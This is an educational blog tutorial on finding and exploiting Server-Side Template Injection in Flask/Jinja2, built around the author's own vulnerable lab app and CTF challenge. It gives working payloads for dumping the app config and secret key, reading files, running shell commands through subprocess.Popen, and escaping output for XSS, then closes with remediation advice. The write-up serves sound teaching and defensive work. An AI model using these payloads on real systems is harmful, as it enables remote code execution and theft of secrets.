A Fun Guide to Cracking Server-Side Template Injection (SSTI) in Flask
Chaining the ssti to rce in flask based web application where jinja2 template engine being used.
Hello world! Welcome to the world of cybersecurity, where every click is a mystery, and every input field is a potential portal to chaos! Today, we’re diving into the quirky world of Server-Side Template Injection (SSTI).
SSTI might not be as famous as other security issues like SQL Injection
or Cross-site scripting
, but it can turn your web server into a playground for attackers. So, put on your detective hat as we learn how to find and stop this sneaky trick. Let’s dive in before our servers start acting like magicians :p !
What’s SSTI, Anyway?
Imagine you’re cooking a nice meal, and someone sneaks in and throws in their secret ingredients. That’s what SSTI is like for web developers. When you let users put whatever they want into your templates without checking, they can cause some serious problem.
SSTI stands for Server-Side Template Injection, and it happens when user input goes straight into a server-side template without being filtered. This can let attackers run their own code on your server. Isn’t that interesting?
For our ease I created a simple lab for exploitation and learning which you can find from the github link below.
Setting Up Our Little SSTI Playground!
I’ve built a small Flask app to show off two kinds of SSTI adventures: an easy one for beginners and a harder one (not really) for my brave and daring friends.
Feel free to clone this repository from the github using the commands below:
1
2
3
git clone https://github.com/dr34mhacks/ginger-juice-shop.git
cd ginger-juice-shop
python app.py
This will start a local server, and you can access the application by navigating to http://127.0.0.1:5000
in your web browser.
In case if you are too lazy I made this challenge live which you can explore by navigating: https://ssti.pythonanywhere.com/
Identification
Identification is the most important part of any attack. As a good pentester, you should not directly inject your exploitation code blindly, as it might cause multiple issues, especially when there is a production environment in place.
You should be aware that there are multiple template engines available out there with different technologies. For example:
- Java – Velocity, FreeMarker
- JavaScript – Jade, EJS
- PHP – Smarty, Twig
- Python – Jinja2, Mako, Tornado
- Ruby – Liquid
Your first step towards exploiting SSTI should be identifying the template engine being used. This can be done through various methods, such as enumerating the technologies in use, generating error messages from the application, and observing the behavior of different inputs.
For example in our application the behaviour is:
Input | Output |
---|---|
sid | sid |
{{2+3}} | 5 |
{{7*2}} | 14 |
{{7*‘2’}} | 2222222 |
{{}} | Jinja2 stack trace error |
These above behaviour indicates the python based jinja2 template engine in use, you can find the behaviour difference in all other
A basic tip here is to use payloads like
${7/0}
,{{7/0}}
, and<%= 7/0 %>
. These payloads work by performing an operation that results in division by zero, which is undefined. This can create stack traces or error messages that reveal details about the template engine in use. By examining these error messages, you can gain insights into which template engine the application is running.
Now that we know the application is using the Jinja2 template engine, which is based on Python, you might wonder if it will run our Python code. The answer is both yes and no. Let me explain:
Python has methods like upper()
and lower()
that change the case of a string. For example, I created a payload {{"sid".upper()}}
. In a Python shell, this would return SID
. When we tried this in the application, it also returned SID
, confirming that it executes some Python code.
You might think it’s easy to exploit command injection here since we know that Python’s os
module allows code execution. We could try using a payload like import os; os.system("ls")
to inject commands. However, let me tell you, it won’t work, as you can see in the screenshot below.
Although it seems logical to try using the os
module to execute system commands in a Jinja2 template, the payload import os; os.system("ls")
didn’t work due to Jinja2’s built-in security features. Jinja2 templates are designed to limit the execution of arbitrary code to prevent security vulnerabilities like command injection. While Jinja2 can access certain Python functions and methods, it doesn’t allow direct access to modules like os
that can execute shell commands. This security measure helps protect applications from potentially harmful code execution by restricting the available operations to those defined within the Jinja2 environment.
Well, Played much? Let’s go for exploitation now.
Before going deep into this let’s talk about python a bit. Python is an object-oriented programming language, which means it uses concepts like objects, classes, and class inheritance. In Python, everything is an object. For example, when you create a string and check its type, you’ll see that it’s an object belonging to the str
class:
1
2
3
4
5
6
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> test = "this is some secret sauce"
>>> print(type(test))
<class str>
As everything in Python is an object, it has built-in methods known as magic methods. These methods start and end with double underscores, such as __mro__
. A regular built-in method, like upper()
, is what we used earlier to change the case of a string.
Since we are working with a Flask application, we can access a useful file called the config object. This object is globally available in templates and functions like a dictionary, storing all of the app’s configuration settings. These settings often contain sensitive information, such as database credentials, API keys, and the SECRET_KEY (which we’ve purposely included in our app). To view these configuration details, you can inject the payload
{{config.items()}}
in a template.
Btw, feel free to retrieve secret key in plain text, should be super easy.
Perfect, let’s go for the actual exploitation now. Feel free to fasten your seatbelt and get some snacks with coffe.
When trying to exploit SSTI, we will start by choosing an object that can help us access its base classes. A blank string (‘ ‘) could be a good choice because it’s a simple object of type str (string)
.
In Python, every object has a special attribute called __mro__
(Method Resolution Order). This attribute shows the hierarchy of classes that the object inherits from, starting from the current class up to the base object class.
To explore this hierarchy and see the classes an object inherits from, we can use the payload {{''.__class__.__mro__}}
. Injecting this payload into a template with an SSTI vulnerability will show you the list of classes that the blank string object is derived from.
When we injected {{''.__class__.__mro__}}
into the application, it returns a list (or tuple) showing the order of classes that a string object inherits from, starting from its own class and going up to the root class. This list helps us understand the inheritance path in Python.
In this list, the index 1
corresponds to the base object
class, which is the root class for all objects in Python. By selecting the index 1
, we are specifically accessing this root class.
Once we have the root object
class, we can use its __subclasses__
attribute to list all the subclasses that have been created in the application. This can reveal all the classes that the application uses, which might include classes that can perform interesting or sensitive actions.
To do this, I inject the payload {{''.__class__.__mro__[1].__subclasses__()}}
to the application. This payload leverages Python’s introspection capabilities to display all the subclasses, potentially exposing information about the application’s internal structure and available classes.
This resulted in a huge list of object classes in the response. Since these were url encoded in the output I utilised an online URL decoder tool present at: https://emn178.github.io/online-tools/html_decode.html
After obtaining the list of all the classes, I copied them into a text editor like Sublime Text. I then replaced each comma and space (,
) with a newline (\n
). This change moved each class name onto its own line, making the list easier to read. I also removed the first line that indicated the type, as it was not needed.
Doing this only for the demonstration purpose with the payload (__mro__[1])
to work which will access the second element. Though if you are willing to use the base class object it is not necessary to remove the first line and you can directly use the subclasses with their indicies number.
At this point, we have access to the number of classes present, but we are more interested in the one that could lead us to potential command injection. One of my favorites, and a particularly useful one, is subprocess.popen
, which I found in the list at index number 536, as you can see in the screenshot below.
Though we can also verify the index number just by appending the index number in our payload so far which will be
1
{{''.__class__.__mro__[1].__subclasses__()[536]}}
Application response:
This confirmed that we are dealing with the right class. Now it’s time to construct our final payload.
Final Payload
1
{{''.__class__.__mro__[1].__subclasses__()[536]('whoami;hostname',shell=True,+stdout=-1).communicate()}}}
A bit explanation of the final payload in case if you are interested how it is working:
''.__class__
: Accesses thestr
class from the empty string..__mro__[1]
: Retrieves theobject
class from the method resolution order..__subclasses__()
: Gets a list of all subclasses of theobject
class.[536]
: This index accesses the 536th subclass in the list of subclasses. In this context, it’s assumed to be pointing to thesubprocess.Popen
class. The exact index can vary depending on the Python environment and version, so this index might need to be verified.('whoami;hostname', shell=True, stdout=-1)
:- This is the initialization of a
subprocess.Popen
object, which is used to execute shell commands. 'whoami;hostname'
: This is the command being executed. It combines two shell commands:whoami
, which outputs the current user’s name, andhostname
, which outputs the machine’s hostname.shell=True
: This allows the command to be executed through the shell, which enables the use of shell-specific features like command chaining.stdout=-1
: This argument specifies that the standard output of the command should be captured, rather than being printed directly to the console.
- This is the initialization of a
.communicate()
: This method is called on thePopen
object to execute the command and read its output. It returns a tuple containing the standard output and standard error of the command.
Code Execution Successfull
Don’t stop here, your goal is to retrieve the file content of the
flag.txt
using the SSTI vulnerability.
More Advanced Challenge (Must Try)
There is an easy (or maybe not) challenge for you to work on. Once you deploy the application, navigate to http://127.0.0.1:5000/hard.
All solutions are welcome! While there won’t be any prize, feel free to solve this at your own pace and share your solution through a write-up or any medium of your choice. A big shoutout to my friend Faizal for their help during creating this challenge.
Would love to see your solutions, please feel free to share your writeup to me at linkedin.
Some juicy and Easy bypass for CTF Lovers
I’m sure you’ve stumbled upon an SSTI challenge at some point in your life. While you might now have an idea of how to approach such a scenario, I’d like to share an easy trick with you.
If your goal is simply to read a file, you can use the payload
{{config.from_pyfile('filename')}}
to get the file content. Try this on our application—it will typically result in an error that contains the file’s content.
Not Getting Command Execution
If the scenario is limited to identification and you cannot prove any impact, you could try chaining it to a Cross-Site Scripting (XSS) attack. Although it might seem unusual to link a server-side issue to a client-side attack, it is worth trying when you have no other options.
The application we are dealing with is built using the Jinja2 template engine, which is used in Flask to help render dynamic web pages. One of its features is automatic HTML escaping, which prevents XSS attacks by converting special HTML characters into safe representations. As we saw earlier in our post, this engine automatically encoded the output when retrieving the classes.
When adding the payload {{'<script>prompt(1);</script>'}}
application responded back with:
Bypass? Yes, there is!
Using the safe filter
1
{{'<script>prompt(1);</script>'|safe}}
The
safe
filter in Jinja2 tells the templating engine not to escape the content, treating it as raw HTML. This allows the script tags to be rendered as-is in the browser, resulting in XSS attack.
Okay, I am dev what to do? (Remediation Advices)
Below are the some best practices that should be followed:
- Always validate user inputs to ensure they conform to expected formats and types. Use strict validation rules and reject any input that does not match the expected criteria (e.g. curly braces, angular brackets in the fields such as name).
- Remove or escape any potentially dangerous characters from user inputs before processing them in templates. This reduces the risk of injecting malicious code.
- Implement a sandboxed environment for your templates that restricts access to sensitive functions and modules. This prevents unauthorized code execution within templates. Additionally, Restrict the objects and methods accessible within the template context to only those necessary for rendering the page.
References to follow:
- https://portswigger.net/research/server-side-template-injection
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti
- https://secure-cookie.io/attacks/ssti/
- https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee